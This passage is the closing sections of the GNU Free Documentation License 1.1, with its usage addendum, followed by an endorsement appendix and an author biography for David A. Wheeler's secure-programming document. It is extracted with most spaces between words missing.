theDocument,thuslicensingdistributionandmodificationof theModified
Versionto whoeverpossessesacopy of it. In addition,youmustdo thesethingsin
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theModifiedVersion:

A. Usein theTitle Page(andon thecovers,if any) a title distinctfrom thatof
theDocument,andfrom thoseof previousversions(whichshould,if there
wereany, belistedin theHistory sectionof theDocument).You mayusethe
sametitle asapreviousversionif theoriginal publisherof thatversiongives
permission.

B. List on theTitle Page,asauthors,oneor morepersonsor entitiesresponsible
for authorshipof themodificationsin theModified Version,togetherwith at
leastfiveof theprincipalauthorsof theDocument(all of its principalauthors,
if it haslessthanfive).

C. Stateon theTitle Pagethenameof thepublisherof theModifiedVersion,as
thepublisher.

D. Preserveall thecopyright noticesof theDocument.

E. Add anappropriatecopyright noticefor your modificationsadjacentto the
othercopyright notices.

F. Include,immediatelyafterthecopyright notices,a licensenoticegiving the
publicpermissionto usetheModifiedVersionunderthetermsof thisLicense,
in theform shown in theAddendumbelow.

G. Preserve in thatlicensenoticethefull listsof InvariantSectionsandrequired
CoverTextsgivenin theDocument’s licensenotice.

H. Includeanunalteredcopy of this License.

I. Preserve thesectionentitled"History", andits title, andaddto it anitem
statingat leastthetitle, year, new authors,andpublisherof theModified
Versionasgivenon theTitle Page.If thereis nosectionentitled"History" in
theDocument,createonestatingthetitle, year, authors,andpublisherof the
Documentasgivenon its Title Page,thenaddanitemdescribingthe
ModifiedVersionasstatedin theprevioussentence.

J. Preserve thenetwork location,if any, givenin theDocumentfor public
accessto aTransparentcopy of theDocument,andlikewisethenetwork
locationsgivenin theDocumentfor previousversionsit wasbasedon.These
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maybeplacedin the"History" section.You mayomit anetwork locationfor
awork thatwaspublishedat leastfour yearsbeforetheDocumentitself, or if
theoriginal publisherof theversionit refersto givespermission.

K. In any sectionentitled"Acknowledgements"or "Dedications",preserve the
section’s title, andpreserve in thesectionall thesubstanceandtoneof eachof
thecontributoracknowledgementsand/ordedicationsgiventherein.

L. Preserveall theInvariantSectionsof theDocument,unalteredin their text
andin their titles.Sectionnumbersor theequivalentarenotconsideredpartof
thesectiontitles.

M. Deleteany sectionentitled"Endorsements".Suchasectionmaynot be
includedin theModifiedVersion.

N. Do not retitleany existingsectionas"Endorsements"or to conflict in title
with any InvariantSection.

If theModified Versionincludesnew front-mattersectionsor appendicesthat
qualify asSecondarySectionsandcontainno materialcopiedfrom theDocument,
youmayat your optiondesignatesomeor all of thesesectionsasinvariant.To do
this,addtheir titles to thelist of InvariantSectionsin theModifiedVersion’s
licensenotice.Thesetitles mustbedistinctfrom any othersectiontitles.

Youmayaddasectionentitled"Endorsements",providedit containsnothingbut
endorsementsof your ModifiedVersionby variousparties–forexample,
statementsof peerreview or thatthetext hasbeenapprovedby anorganizationas
theauthoritativedefinitionof a standard.

Youmayaddapassageof up to fivewordsasaFront-CoverText, andapassageof
up to 25 wordsasaBack-Cover Text, to theendof thelist of CoverTexts in the
ModifiedVersion.Only onepassageof Front-CoverText andoneof Back-Cover
Text maybeaddedby (or througharrangementsmadeby) any oneentity. If the
Documentalreadyincludesacover text for thesamecover, previouslyaddedby
youor by arrangementmadeby thesameentityyou areactingonbehalfof, you
maynotaddanother;but youmayreplacetheold one,onexplicit permissionfrom
thepreviouspublisherthataddedtheold one.
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Theauthor(s)andpublisher(s)of theDocumentdo notby this Licensegive
permissionto usetheirnamesfor publicity for or to assertor imply endorsement
of any ModifiedVersion.

5. COMBINING DOCUMENTS

You maycombinetheDocumentwith otherdocumentsreleasedunderthis
License,underthetermsdefinedin section4 above for modifiedversions,
providedthatyou includein thecombinationall of theInvariantSectionsof all of
theoriginal documents,unmodified,andlist themall asInvariantSectionsof your
combinedwork in its licensenotice.

Thecombinedwork needonly containonecopy of this License,andmultiple
identicalInvariantSectionsmaybereplacedwith asinglecopy. If thereare
multiple InvariantSectionswith thesamenamebut differentcontents,make the
title of eachsuchsectionuniqueby addingat theendof it, in parentheses,the
nameof theoriginal authoror publisherof thatsectionif known, or elseaunique
number. Make thesameadjustmentto thesectiontitles in thelist of Invariant
Sectionsin thelicensenoticeof thecombinedwork.

In thecombination,youmustcombineany sectionsentitled"History" in the
variousoriginal documents,formingonesectionentitled"History"; likewise
combineany sectionsentitled"Acknowledgements",andany sectionsentitled
"Dedications".Youmustdeleteall sectionsentitled"Endorsements."

6. COLLECTIONSOFDOCUMENTS

You maymakeacollectionconsistingof theDocumentandotherdocuments
releasedunderthisLicense,andreplacetheindividualcopiesof this Licensein
thevariousdocumentswith asinglecopy thatis includedin thecollection,
providedthatyou follow therulesof this Licensefor verbatimcopying of eachof
thedocumentsin all otherrespects.

Youmayextractasingledocumentfrom suchacollection,anddistributeit
individually underthis License,providedyou insertacopy of thisLicenseinto the
extracteddocument,andfollow this Licensein all otherrespectsregarding
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verbatimcopying of thatdocument.

7. AGGREGATION WITH INDEPENDENTWORKS

A compilationof theDocumentor its derivativeswith otherseparateand
independentdocumentsor works,in or on avolumeof astorageor distribution
medium,doesnot asawholecountasaModified Versionof the Document,
providedno compilationcopyright is claimedfor thecompilation.Sucha
compilationis calledan"aggregate",andthis Licensedoesnotapplyto theother
self-containedworksthuscompiledwith theDocument, on accountof theirbeing
thuscompiled,if they arenot themselvesderivativeworksof theDocument.If the
CoverText requirementof section3 is applicableto thesecopiesof theDocument,
thenif theDocumentis lessthanonequarterof theentireaggregate,the
Document’sCoverTextsmaybeplacedon coversthatsurroundonly the
Documentwithin theaggregate.Otherwisethey mustappearon coversaroundthe
wholeaggregate.

8. TRANSLATION

Translationis considereda kind of modification,soyoumaydistribute
translationsof theDocumentunderthetermsof section4. ReplacingInvariant
Sectionswith translationsrequiresspecialpermissionfrom their copyright
holders,but youmayincludetranslationsof someor all InvariantSectionsin
additionto theoriginal versionsof theseInvariantSections.You mayincludea
translationof this Licenseprovidedthatyou alsoincludetheoriginalEnglish
versionof this License.In caseof adisagreementbetweenthetranslationandthe
originalEnglishversionof this License,theoriginalEnglishversionwill prevail.

9. TERMINATION

You maynot copy, modify, sublicense,or distributetheDocumentexceptas
expresslyprovidedfor underthisLicense.Any otherattemptto copy, modify,
sublicenseor distributetheDocumentis void, andwill automaticallyterminate
your rightsunderthis License.However, partieswho havereceivedcopies,or
rights,from youunderthis Licensewill not have their licensesterminatedsolong
assuchpartiesremainin full compliance.
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10.FUTUREREVISIONSOFTHIS LICENSE

TheFreeSoftwareFoundation(http://www.gnu.org/fsf/fsf.html)maypublish
new, revisedversionsof theGNU FreeDocumentationLicensefrom time to time.
Suchnew versionswill besimilar in spirit to thepresentversion,but maydiffer in
detailto addressnew problemsor concerns.Seehttp://www.gnu.org/copyleft/
(http://www.gnu.org/copyleft).

Eachversionof theLicenseis givenadistinguishingversionnumber. If the
Documentspecifiesthataparticularnumberedversionof thisLicense"or any
laterversion"appliesto it, youhave theoptionof following thetermsand
conditionseitherof thatspecifiedversionor of any laterversionthathasbeen
published(notasadraft) by theFreeSoftwareFoundation.If theDocumentdoes
notspecifya versionnumberof this License,youmaychooseany versionever
published(notasadraft) by theFreeSoftwareFoundation.

Addendum

To usethisLicensein a documentyou havewritten, includeacopy of theLicense
in thedocumentandput thefollowing copyright andlicensenoticesjust afterthe
title page:

Copyright © YEAR YOURNAME.

Permissionis grantedto copy, distributeand/ormodify this documentunderthe
termsof theGNU FreeDocumentationLicense,Version1.1or any laterversion
publishedby theFreeSoftwareFoundation;with theInvariantSectionsbeing
LIST THEIR TITLES, with theFront-CoverTextsbeingLIST, andwith the
Back-CoverTextsbeingLIST. A copy of thelicenseis includedin thesection
entitled“GNU FreeDocumentationLicense”.

If youhaveno InvariantSections,write "with no InvariantSections"insteadof
sayingwhichonesareinvariant.If youhavenoFront-CoverTexts,write "no
Front-CoverTexts" insteadof "Front-CoverTextsbeingLIST"; likewisefor
Back-CoverTexts.

If yourdocumentcontainsnontrivial examplesof programcode,we recommend
releasingtheseexamplesin parallelunderyour choiceof freesoftwarelicense,
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suchasthe GNU GeneralPublicLicense(http://www.gnu.org/copyleft/gpl.html),
to permittheirusein freesoftware.
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Appendix E. Endor sements
Thisversionof thedocumentis endorsedby theoriginal author, David A. Wheeler, asa
documentthatshouldimprovethesecurityof programs.whenappliedcorrectly.
Modifications(includingtranslations)mustremove this appendixperthelicense
agreementincludedabove.
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Appendix F. About the Author
David A. Wheeleris anexpertin computersecurityandhaslongspecializedin
developmenttechniquesfor largeandhigh-risksoftwaresystems.Hehasbeeninvolved
in softwaredevelopmentsincethemid-1970s,andbeeninvolvedwith Unix and
computersecuritysincetheearly1980s.His areasof knowledgeincludecomputer
security, softwaresafety, vulnerabilityanalysis,inspections,Internettechnologies,
software-relatedstandards(includingPOSIX),real-timesoftwaredevelopment
techniques,andnumerouscomputerlanguages(includingAda,C, C++,Perl,Python,
andJava).

Mr. Wheeleris co-authorandleadeditorof theIEEE bookSoftware Inspection:An
IndustryBestPractice, authorof thebookAda95:TheLovelaceTutorial, andco-author
of theGNOMEUser’sGuide. He is alsotheauthorof many smallerpapersandarticles,
includingtheLinux ProgramLibrary HOWTO.

Mr. Wheelerhopesthat,by makingthisdocumentavailable,otherdeveloperswill make
their softwaremoresecure.Youcanreachhim by emailatdwheeler@dwheeler.com
(no spamplease),andyoucanalsoseehiswebsiteat http://www.dwheeler.com.
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